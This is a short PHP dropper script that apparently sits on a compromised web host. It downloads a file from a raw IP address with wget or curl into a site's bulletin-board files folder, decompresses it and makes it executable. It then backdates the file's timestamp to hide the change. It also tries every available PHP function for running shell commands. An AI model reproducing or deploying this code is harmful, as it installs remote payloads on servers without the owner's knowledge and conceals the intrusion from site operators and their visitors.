<?php   $p = '/home/yoyo0427/www/www.yn-artspace.com//home/yoyo0427/ports/sakura-bbs/lightboard/files/extrainfo'; $u = 'http://62.60.131.254/20ea8c36fe5eef7f569eb4d296ec6ea0'; $fs = 477311; $ft = 1535967937; run("wget -O {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); run("curl -o {$p} {$u} && gunzip {$p}.gz"); check($p, $fs, $ft); function check($p, $fs, $ft) {     if (file_exists($p) && filesize($p) == $fs) {         @chmod($p, 0744);         @touch($p, $ft);         die('_uploaded!_');     } } function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f)) $out .= fread($f, 1024);         pclose($f);     }     return $out; } die('_upload_failed_');